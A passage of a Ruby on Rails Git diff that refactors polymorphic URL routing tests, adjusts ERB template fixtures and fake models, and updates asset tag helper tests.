+    with_test_routes do
+      assert_url "http://example.com/projects", :projects
+    end
+  end
+
+  def test_symbol_with_options
+    with_test_routes do
+      assert_equal "http://example.com/projects?id=10", polymorphic_url(:projects, :id => 10)
+    end
+  end
+
   def test_passing_routes_proxy
     with_namespaced_routes(:blog) do
       proxy = ActionDispatch::Routing::RoutesProxy.new(_routes, self)
       @blog_post.save
-      assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url([proxy, @blog_post])
+      assert_url "http://example.com/posts/#{@blog_post.id}", [proxy, @blog_post]
     end
   end
 
   def test_namespaced_model
     with_namespaced_routes(:blog) do
       @blog_post.save
-      assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url(@blog_post)
+      assert_url "http://example.com/posts/#{@blog_post.id}", @blog_post
     end
   end
 
   def test_namespaced_model_with_name_the_same_as_namespace
     with_namespaced_routes(:blog) do
       @blog_blog.save
-      assert_equal "http://example.com/blogs/#{@blog_blog.id}", polymorphic_url(@blog_blog)
+      assert_url "http://example.com/blogs/#{@blog_blog.id}", @blog_blog
+    end
+  end
+
+  def test_polymorphic_url_with_2_objects
+    with_namespaced_routes(:blog) do
+      @blog_blog.save
+      @blog_post.save
+      assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", polymorphic_url([@blog_blog, @blog_post])
+    end
+  end
+
+  def test_polymorphic_url_with_3_objects
+    with_namespaced_routes(:blog) do
+      @blog_blog.save
+      @blog_post.save
+      @fax.save
+      assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}/faxes/#{@fax.id}", polymorphic_url([@blog_blog, @blog_post, @fax])
     end
   end
 
@@ -100,41 +154,121 @@ class PolymorphicRoutesTest < ActionController::TestCase
     with_namespaced_routes(:blog) do
       @blog_post.save
       @blog_blog.save
-      assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", polymorphic_url([@blog_blog, @blog_post])
+      assert_url "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", [@blog_blog, @blog_post]
     end
   end
 
   def test_with_nil
     with_test_routes do
-      assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+      exception = assert_raise ArgumentError do
         polymorphic_url(nil)
       end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_empty_list
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        polymorphic_url([])
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_nil_id
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        polymorphic_url({ :id => nil })
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_entirely_nil_list
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        @series.save
+        polymorphic_url([nil, nil])
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_nil_in_list_for_resource_that_could_be_top_level_or_nested
+    with_top_level_and_nested_routes do
+      @blog_post.save
+      assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url([nil, @blog_post])
+    end
+  end
+
+  def test_with_nil_in_list_does_not_generate_invalid_link
+    with_top_level_and_nested_routes do
+      exception = assert_raise NoMethodError do
+        @series.save
+        polymorphic_url([nil, @series])
+      end
+      assert_match(/undefined method `series_url' for/, exception.message)
     end
   end
 
   def test_with_record
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(@project)
+      assert_url "http://example.com/projects/#{@project.id}", @project
     end
   end
 
   def test_with_class
     with_test_routes do
-      assert_equal "http://example.com/projects", polymorphic_url(@project.class)
+      assert_url "http://example.com/projects", @project.class
+    end
+  end
+
+  def test_with_class_list_of_one
+    with_test_routes do
+      assert_url "http://example.com/projects", [@project.class]
+    end
+  end
+
+  def test_class_with_options
+    with_test_routes do
+      assert_equal "http://example.com/projects?foo=bar", polymorphic_url(@project.class, { :foo => :bar })
+      assert_equal "/projects?foo=bar", polymorphic_path(@project.class, { :foo => :bar })
     end
   end
 
   def test_with_new_record
     with_test_routes do
-      assert_equal "http://example.com/projects", polymorphic_url(@project)
+      assert_url "http://example.com/projects", @project
+    end
+  end
+
+  def test_new_record_arguments
+    params = nil
+
+    with_test_routes do
+      extend Module.new {
+        define_method("projects_url") { |*args|
+          params = args
+          super(*args)
+        }
+
+        define_method("projects_path") { |*args|
+          params = args
+          super(*args)
+        }
+      }
+
+      assert_url "http://example.com/projects", @project
+      assert_equal [], params
     end
   end
 
   def test_with_destroyed_record
     with_test_routes do
       @project.destroy
-      assert_equal "http://example.com/projects", polymorphic_url(@project)
+      assert_url "http://example.com/projects", @project
     end
   end
 
@@ -150,6 +284,15 @@ class PolymorphicRoutesTest < ActionController::TestCase
     end
   end
 
+  def test_regression_path_helper_prefixed_with_new_and_edit
+    with_test_routes do
+      assert_equal "/projects/new", new_polymorphic_path(@project)
+
+      @project.save
+      assert_equal "/projects/#{@project.id}/edit", edit_polymorphic_path(@project)
+    end
+  end
+
   def test_url_helper_prefixed_with_edit
     with_test_routes do
       @project.save
@@ -196,14 +339,14 @@ class PolymorphicRoutesTest < ActionController::TestCase
     with_test_routes do
       @project.save
       @task.save
-      assert_equal "http://example.com/projects/#{@project.id}/tasks/#{@task.id}", polymorphic_url([@project, @task])
+      assert_url "http://example.com/projects/#{@project.id}/tasks/#{@task.id}", [@project, @task]
     end
   end
 
   def test_with_nested_unsaved
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task])
+      assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task]
     end
   end
 
@@ -211,20 +354,20 @@ class PolymorphicRoutesTest < ActionController::TestCase
     with_test_routes do
       @project.save
       @task.destroy
-      assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task])
+      assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task]
     end
   end
 
   def test_with_nested_class
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task.class])
+      assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task.class]
     end
   end
 
   def test_class_with_array_and_namespace
     with_admin_test_routes do
-      assert_equal "http://example.com/admin/projects", polymorphic_url([:admin, @project.class])
+      assert_url "http://example.com/admin/projects", [:admin, @project.class]
     end
   end
 
@@ -236,14 +379,14 @@ class PolymorphicRoutesTest < ActionController::TestCase
 
   def test_unsaved_with_array_and_namespace
     with_admin_test_routes do
-      assert_equal "http://example.com/admin/projects", polymorphic_url([:admin, @project])
+      assert_url "http://example.com/admin/projects", [:admin, @project]
     end
   end
 
   def test_nested_unsaved_with_array_and_namespace
     with_admin_test_routes do
       @project.save
-      assert_equal "http://example.com/admin/projects/#{@project.id}/tasks", polymorphic_url([:admin, @project, @task])
+      assert_url "http://example.com/admin/projects/#{@project.id}/tasks", [:admin, @project, @task]
     end
   end
 
@@ -251,7 +394,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
     with_admin_test_routes do
       @project.save
       @task.save
-      assert_equal "http://example.com/admin/projects/#{@project.id}/tasks/#{@task.id}", polymorphic_url([:admin, @project, @task])
+      assert_url "http://example.com/admin/projects/#{@project.id}/tasks/#{@task.id}", [:admin, @project, @task]
     end
   end
 
@@ -260,14 +403,14 @@ class PolymorphicRoutesTest < ActionController::TestCase
       @project.save
       @task.save
       @step.save
-      assert_equal "http://example.com/admin/projects/#{@project.id}/site/tasks/#{@task.id}/steps/#{@step.id}", polymorphic_url([:admin, @project, :site, @task, @step])
+      assert_url "http://example.com/admin/projects/#{@project.id}/site/tasks/#{@task.id}/steps/#{@step.id}", [:admin, @project, :site, @task, @step]
     end
   end
 
   def test_nesting_with_array_ending_in_singleton_resource
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, :bid])
+      assert_url "http://example.com/projects/#{@project.id}/bid", [@project, :bid]
     end
   end
 
@@ -275,7 +418,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
     with_test_routes do
       @project.save
       @task.save
-      assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}", polymorphic_url([@project, :bid, @task])
+      assert_url "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}", [@project, :bid, @task]
     end
   end
 
@@ -291,34 +434,40 @@ class PolymorphicRoutesTest < ActionController::TestCase
     with_admin_test_routes do
       @project.save
       @task.save
-      assert_equal "http://example.com/admin/projects/#{@project.id}/bid/tasks/#{@task.id}", polymorphic_url([:admin, @project, :bid, @task])
+      assert_url "http://example.com/admin/projects/#{@project.id}/bid/tasks/#{@task.id}", [:admin, @project, :bid, @task]
     end
   end
 
-  def test_nesting_with_array_containing_nil
+  def test_nesting_with_array
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, nil, :bid])
+      assert_url "http://example.com/projects/#{@project.id}/bid", [@project, :bid]
     end
   end
 
   def test_with_array_containing_single_object
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url([nil, @project])
+      assert_url "http://example.com/projects/#{@project.id}", [@project]
     end
   end
 
   def test_with_array_containing_single_name
     with_test_routes do
       @project.save
-      assert_equal "http://example.com/projects", polymorphic_url([:projects])
+      assert_url "http://example.com/projects", [:projects]
+    end
+  end
+
+  def test_with_array_containing_single_string_name
+    with_test_routes do
+      assert_url "http://example.com/projects", ["projects"]
     end
   end
 
   def test_with_array_containing_symbols
     with_test_routes do
-      assert_equal "http://example.com/series/new", polymorphic_url([:new, :series])
+      assert_url "http://example.com/series/new", [:new, :series]
     end
   end
 
@@ -353,26 +502,26 @@ class PolymorphicRoutesTest < ActionController::TestCase
   def test_with_irregular_plural_record
     with_test_routes do
       @tax.save
-      assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url(@tax)
+      assert_url "http://example.com/taxes/#{@tax.id}", @tax
     end
   end
 
   def test_with_irregular_plural_class
     with_test_routes do
-      assert_equal "http://example.com/taxes", polymorphic_url(@tax.class)
+      assert_url "http://example.com/taxes", @tax.class
     end
   end
 
   def test_with_irregular_plural_new_record
     with_test_routes do
-      assert_equal "http://example.com/taxes", polymorphic_url(@tax)
+      assert_url "http://example.com/taxes", @tax
     end
   end
 
   def test_with_irregular_plural_destroyed_record
     with_test_routes do
       @tax.destroy
-      assert_equal "http://example.com/taxes", polymorphic_url(@tax)
+      assert_url "http://example.com/taxes", @tax
     end
   end
 
@@ -406,7 +555,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
   def test_with_nested_unsaved_irregular_plurals
     with_test_routes do
       @tax.save
-      assert_equal "http://example.com/taxes/#{@tax.id}/faxes", polymorphic_url([@tax, @fax])
+      assert_url "http://example.com/taxes/#{@tax.id}/faxes", [@tax, @fax]
     end
   end
 
@@ -418,34 +567,34 @@ class PolymorphicRoutesTest < ActionController::TestCase
 
   def test_class_with_irregular_plural_array_and_namespace
     with_admin_test_routes do
-      assert_equal "http://example.com/admin/taxes", polymorphic_url([:admin, @tax.class])
+      assert_url "http://example.com/admin/taxes", [:admin, @tax.class]
     end
   end
 
   def test_unsaved_with_irregular_plural_array_and_namespace
     with_admin_test_routes do
-      assert_equal "http://example.com/admin/taxes", polymorphic_url([:admin, @tax])
+      assert_url "http://example.com/admin/taxes", [:admin, @tax]
     end
   end
 
   def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
     with_test_routes do
       @tax.save
-      assert_equal "http://example.com/taxes/#{@tax.id}/bid", polymorphic_url([@tax, :bid])
+      assert_url "http://example.com/taxes/#{@tax.id}/bid", [@tax, :bid]
     end
   end
 
   def test_with_array_containing_single_irregular_plural_object
     with_test_routes do
       @tax.save
-      assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url([nil, @tax])
+      assert_url "http://example.com/taxes/#{@tax.id}", [@tax]
     end
   end
 
   def test_with_array_containing_single_name_irregular_plural
     with_test_routes do
       @tax.save
-      assert_equal "http://example.com/taxes", polymorphic_url([:taxes])
+      assert_url "http://example.com/taxes", [:taxes]
     end
   end
 
@@ -453,15 +602,20 @@ class PolymorphicRoutesTest < ActionController::TestCase
   def test_uncountable_resource
     with_test_routes do
       @series.save
-      assert_equal "http://example.com/series/#{@series.id}", polymorphic_url(@series)
-      assert_equal "http://example.com/series", polymorphic_url(Series.new)
+      assert_url "http://example.com/series/#{@series.id}", @series
+      assert_url "http://example.com/series", Series.new
+    end
+  end
+
+  def test_routing_to_a_model_delegate
+    with_test_routes do
+      assert_url "http://example.com/model_delegates/overridden", @delegator
     end
   end
 
-  def test_routing_a_to_model_delegate
+  def test_nested_routing_to_a_model_delegate
     with_test_routes do
-      @delegator.save
-      assert_equal "http://example.com/model_delegates/overridden", polymorphic_url(@delegator)
+      assert_url "http://example.com/foo/model_delegates/overridden", [:foo, @delegator]
     end
   end
 
@@ -470,13 +624,15 @@ class PolymorphicRoutesTest < ActionController::TestCase
       set.draw do
         scope(:module => name) do
           resources :blogs do
-            resources :posts
+            resources :posts do
+              resources :faxes
+            end
           end
           resources :posts
         end
       end
 
-      self.class.send(:include, @routes.url_helpers)
+      extend @routes.url_helpers
       yield
     end
   end
@@ -496,9 +652,27 @@ class PolymorphicRoutesTest < ActionController::TestCase
         end
         resources :series
         resources :model_delegates
+        namespace :foo do
+          resources :model_delegates
+        end
       end
 
-      self.class.send(:include, @routes.url_helpers)
+      extend @routes.url_helpers
+      yield
+    end
+  end
+
+  def with_top_level_and_nested_routes(options = {})
+    with_routing do |set|
+      set.draw do
+        resources :blogs do
+          resources :posts
+          resources :series
+        end
+        resources :posts
+      end
+
+      extend @routes.url_helpers
       yield
     end
   end
@@ -520,7 +694,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
         end
       end
 
-      self.class.send(:include, @routes.url_helpers)
+      extend @routes.url_helpers
       yield
     end
   end
@@ -539,8 +713,21 @@ class PolymorphicRoutesTest < ActionController::TestCase
         end
       end
 
-      self.class.send(:include, @routes.url_helpers)
+      extend @routes.url_helpers
       yield
     end
   end
 end
+
+class PolymorphicPathRoutesTest < PolymorphicRoutesTest
+  include ActionView::RoutingUrlFor
+  include ActionView::Context
+
+  attr_accessor :controller
+
+  def assert_url(url, args)
+    host = self.class.default_url_options[:host]
+
+    assert_equal url.sub(/http:\/\/#{host}/, ''), url_for(args)
+  end
+end
diff --git a/actionview/test/fixtures/actionpack/test/_customer_iteration.erb b/actionview/test/fixtures/actionpack/test/_customer_iteration.erb
new file mode 100644
index 0000000000..fb530b04a7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_iteration.erb
@@ -0,0 +1 @@
+<%= customer_iteration_iteration.size %>-<%= customer_iteration_iteration.index %>: <%= customer_iteration.name %><%= '-first' if customer_iteration_iteration.first? %><%= '-last' if customer_iteration_iteration.last? %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb
new file mode 100644
index 0000000000..57297d0564
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb
@@ -0,0 +1 @@
+<%= client_iteration.size %>-<%= client_iteration.index %>: <%= client.name %><%= '-first' if client_iteration.first? %><%= '-last' if client_iteration.last? %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/blog_public/.gitignore b/actionview/test/fixtures/blog_public/.gitignore
deleted file mode 100644
index 312e635ee6..0000000000
--- a/actionview/test/fixtures/blog_public/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-absolute/*
diff --git a/actionview/test/fixtures/blog_public/blog.html b/actionview/test/fixtures/blog_public/blog.html
deleted file mode 100644
index 79ad44c010..0000000000
--- a/actionview/test/fixtures/blog_public/blog.html
+++ /dev/null
@@ -1 +0,0 @@
-/blog/blog.html
\ No newline at end of file
diff --git a/actionview/test/fixtures/blog_public/index.html b/actionview/test/fixtures/blog_public/index.html
deleted file mode 100644
index 2de3825481..0000000000
--- a/actionview/test/fixtures/blog_public/index.html
+++ /dev/null
@@ -1 +0,0 @@
-/blog/index.html
\ No newline at end of file
diff --git a/actionview/test/fixtures/blog_public/subdir/index.html b/actionview/test/fixtures/blog_public/subdir/index.html
deleted file mode 100644
index 517bded335..0000000000
--- a/actionview/test/fixtures/blog_public/subdir/index.html
+++ /dev/null
@@ -1 +0,0 @@
-/blog/subdir/index.html
\ No newline at end of file
diff --git a/actionview/test/fixtures/customers/_customer.xml.erb b/actionview/test/fixtures/customers/_customer.xml.erb
new file mode 100644
index 0000000000..d3f1e0768f
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.xml.erb
@@ -0,0 +1 @@
+<greeting><%= greeting %></greeting><name><%= customer.name %></name>
\ No newline at end of file
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
index 4941463015..8b3f0a8039 100644
--- a/actionview/test/fixtures/developer.rb
+++ b/actionview/test/fixtures/developer.rb
@@ -4,7 +4,3 @@ class Developer < ActiveRecord::Base
   has_many :topics, :through => :replies
   accepts_nested_attributes_for :projects
 end
-
-class DeVeLoPeR < ActiveRecord::Base
-  self.table_name = "developers"
-end
diff --git a/actionview/test/fixtures/digestor/messages/new.html+iphone.erb b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
new file mode 100644
index 0000000000..791e1d36b4
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
@@ -0,0 +1,15 @@
+<%# Template Dependency: messages/message %>
+
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing"   %>
+<%# render "something_missing_1" %>
+
+<%
+  # Template Dependency: messages/form
+%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb b/actionview/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
deleted file mode 100644
index 3125583a28..0000000000
--- a/actionview/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<body>
-<%= cache 'nodigest', skip_digest: true do %><p>ERB</p><% end %>
-</body>
diff --git a/actionview/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/happy_path/render_action/hello_world.erb
deleted file mode 100644
index 6769dd60bd..0000000000
--- a/actionview/test/fixtures/happy_path/render_action/hello_world.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/helpers/abc_helper.rb b/actionview/test/fixtures/helpers/abc_helper.rb
index 7104ff3730..cf2774bb5f 100644
--- a/actionview/test/fixtures/helpers/abc_helper.rb
+++ b/actionview/test/fixtures/helpers/abc_helper.rb
@@ -1,5 +1,3 @@
 module AbcHelper
   def bare_a() end
-  def bare_b() end
-  def bare_c() end
 end
diff --git a/actionview/test/fixtures/helpers/fun/games_helper.rb b/actionview/test/fixtures/helpers/fun/games_helper.rb
deleted file mode 100644
index 3b7adce086..0000000000
--- a/actionview/test/fixtures/helpers/fun/games_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module Fun
-  module GamesHelper
-    def stratego() "Iz guuut!" end
-  end
-end
\ No newline at end of file
diff --git a/actionview/test/fixtures/helpers/fun/pdf_helper.rb b/actionview/test/fixtures/helpers/fun/pdf_helper.rb
deleted file mode 100644
index 0171be8500..0000000000
--- a/actionview/test/fixtures/helpers/fun/pdf_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module Fun
-  module PdfHelper
-    def foobar() 'baz' end
-  end
-end
diff --git a/actionview/test/fixtures/helpers/just_me_helper.rb b/actionview/test/fixtures/helpers/just_me_helper.rb
deleted file mode 100644
index b140a7b9b4..0000000000
--- a/actionview/test/fixtures/helpers/just_me_helper.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module JustMeHelper
-  def me() "mine!" end
-end
\ No newline at end of file
diff --git a/actionview/test/fixtures/helpers/me_too_helper.rb b/actionview/test/fixtures/helpers/me_too_helper.rb
deleted file mode 100644
index ce56042143..0000000000
--- a/actionview/test/fixtures/helpers/me_too_helper.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module MeTooHelper
-  def me() "me too!" end
-end
\ No newline at end of file
diff --git a/actionview/test/fixtures/scope/test/modgreet.erb b/actionview/test/fixtures/scope/test/modgreet.erb
deleted file mode 100644
index 8947726e89..0000000000
--- a/actionview/test/fixtures/scope/test/modgreet.erb
+++ /dev/null
@@ -1 +0,0 @@
-<p>Beautiful modules!</p>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_FooBar.html.erb b/actionview/test/fixtures/test/_FooBar.html.erb
new file mode 100644
index 0000000000..4bbe59410a
--- /dev/null
+++ b/actionview/test/fixtures/test/_FooBar.html.erb
@@ -0,0 +1 @@
+🍣
diff --git a/actionpack/test/fixtures/test/_json_change_priority.json.erb b/actionview/test/fixtures/test/_a-in.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/test/_json_change_priority.json.erb
+++ b/actionview/test/fixtures/test/_a-in.html.erb
diff --git a/actionview/test/fixtures/test/_label_with_block.erb b/actionview/test/fixtures/test/_label_with_block.erb
index 40117e594e..94089ea93d 100644
--- a/actionview/test/fixtures/test/_label_with_block.erb
+++ b/actionview/test/fixtures/test/_label_with_block.erb
@@ -1,4 +1,4 @@
-<%= label 'post', 'message' do %>
+<%= label('post', 'message')do %>
   Message
   <%= text_field 'post', 'message' %>
 <% end %>
diff --git a/actionview/test/fixtures/test/_partial_shortcut_with_block_content.html.erb b/actionview/test/fixtures/test/_partial_shortcut_with_block_content.html.erb
new file mode 100644
index 0000000000..352128f3ba
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_shortcut_with_block_content.html.erb
@@ -0,0 +1,3 @@
+<%= render "test/layout_for_block_with_args" do |arg_1, arg_2| %>
+  Yielded: <%= arg_1 %>/<%= arg_2 %>
+<% end %>
diff --git a/actionview/test/fixtures/test/hello_world.html+phone.erb b/actionview/test/fixtures/test/hello_world.html+phone.erb
new file mode 100644
index 0000000000..b4f236f878
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.html+phone.erb
@@ -0,0 +1 @@
+Hello phone!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.text+phone.erb b/actionview/test/fixtures/test/hello_world.text+phone.erb
new file mode 100644
index 0000000000..611e2ee442
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.text+phone.erb
@@ -0,0 +1 @@
+Hello texty phone!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/nil_return.erb b/actionview/test/fixtures/test/nil_return.erb
new file mode 100644
index 0000000000..90ce3881f6
--- /dev/null
+++ b/actionview/test/fixtures/test/nil_return.erb
@@ -0,0 +1 @@
+This is nil: <%== nil %>
diff --git a/actionview/test/lib/controller/fake_controllers.rb b/actionview/test/lib/controller/fake_controllers.rb
deleted file mode 100644
index 1a2863b689..0000000000
--- a/actionview/test/lib/controller/fake_controllers.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-class ContentController < ActionController::Base; end
-
-module Admin
-  class AccountsController < ActionController::Base; end
-  class PostsController < ActionController::Base; end
-  class StuffController < ActionController::Base; end
-  class UserController < ActionController::Base; end
-  class UsersController < ActionController::Base; end
-end
-
-module Api
-  class UsersController < ActionController::Base; end
-  class ProductsController < ActionController::Base; end
-end
-
-class AccountController < ActionController::Base; end
-class ArchiveController < ActionController::Base; end
-class ArticlesController < ActionController::Base; end
-class BarController < ActionController::Base; end
-class BlogController < ActionController::Base; end
-class BooksController < ActionController::Base; end
-class CarsController < ActionController::Base; end
-class CcController < ActionController::Base; end
-class CController < ActionController::Base; end
-class FooController < ActionController::Base; end
-class GeocodeController < ActionController::Base; end
-class NewsController < ActionController::Base; end
-class NotesController < ActionController::Base; end
-class PagesController < ActionController::Base; end
-class PeopleController < ActionController::Base; end
-class PostsController < ActionController::Base; end
-class SubpathBooksController < ActionController::Base; end
-class SymbolsController < ActionController::Base; end
-class UserController < ActionController::Base; end
-class UsersController < ActionController::Base; end
diff --git a/actionview/test/lib/controller/fake_models.rb b/actionview/test/lib/controller/fake_models.rb
index a463a08bb6..65c68fc34a 100644
--- a/actionview/test/lib/controller/fake_models.rb
+++ b/actionview/test/lib/controller/fake_models.rb
@@ -54,6 +54,22 @@ class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :writt
   def tags_attributes=(attributes); end
 end
 
+class PostDelegator < Post
+  def to_model
+    PostDelegate.new
+  end
+end
+
+class PostDelegate < Post
+  def self.human_attribute_name(attribute)
+    "Delegate #{super}"
+  end
+
+  def model_name
+    ActiveModel::Name.new(self.class)
+  end
+end
+
 class Comment
   extend ActiveModel::Naming
   include ActiveModel::Conversion
@@ -111,19 +127,6 @@ class CommentRelevance
   end
 end
 
-class Sheep
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  def to_key; id ? [id] : nil end
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    @id.nil? ? 'new sheep' : "sheep ##{@id}"
-  end
-end
-
 class TagRelevance
   extend ActiveModel::Naming
   include ActiveModel::Conversion
@@ -183,3 +186,15 @@ end
 
 class Car < Struct.new(:color)
 end
+
+class Plane
+  attr_reader :to_key
+
+  def model_name
+    OpenStruct.new param_key: 'airplane'
+  end
+
+  def save
+    @to_key = [1]
+  end
+end
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
index 214a13654e..dac1c7024d 100644
--- a/actionview/test/template/asset_tag_helper_test.rb
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -2,14 +2,6 @@ require 'zlib'
 require 'abstract_unit'
 require 'active_support/ordered_options'
 
-class FakeController
-  attr_accessor :request
-
-  def config
-    @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config)
-  end
-end
-
 class AssetTagHelperTest < ActionView::TestCase
   tests ActionView::Helpers::AssetTagHelper
 
@@ -203,9 +195,9 @@ class AssetTagHelperTest < ActionView::TestCase
   }
 
   FaviconLinkToTag = {
-    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
-    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
-    %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
+    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+    %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/x-icon" />),
     %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
     %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
   }
@@ -245,7 +237,7 @@ class AssetTagHelperTest < ActionView::TestCase
     %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
     %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
     %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
-    %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
     %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
     %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
     %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
@@ -310,13 +302,21 @@ class AssetTagHelperTest < ActionView::TestCase
   def test_autodiscovery_link_tag_with_unknown_type
     result = auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')
     expected = %(<link href="/feed.xml" rel="alternate" title="XML" type="application/xml" />)
-    assert_equal expected, result
+    assert_dom_equal expected, result
   end
 
   def test_asset_path_tag
     AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_asset_path_tag_to_not_create_duplicate_slashes
+    @controller.config.asset_host = "host/"
+    assert_dom_equal('http://host/foo', asset_path("foo"))
+
+    @controller.config.relative_url_root = '/some/root/'
+    assert_dom_equal('http://host/some/root/foo', asset_path("foo"))
+  end
+
   def test_compute_asset_public_path
     assert_equal "/robots.txt", compute_asset_path("robots.txt")
     assert_equal "/robots.txt", compute_asset_path("/robots.txt")
@@ -535,6 +535,17 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal copy, source
   end
 
+  class PlaceholderImage
+    def blank?; true; end
+    def to_s; 'no-image-yet.png'; end
+  end
+  def test_image_tag_with_blank_placeholder
+    assert_equal '<img alt="" src="/images/no-image-yet.png" />', image_tag(PlaceholderImage.new, alt: "")
+  end
+  def test_image_path_with_blank_placeholder
+    assert_equal '/images/no-image-yet.png', image_path(PlaceholderImage.new)
+  end
+
   def test_image_path_with_asset_host_proc_returning_nil
     @controller.config.asset_host = Proc.new do |source|
       unless source.end_with?("tiff")
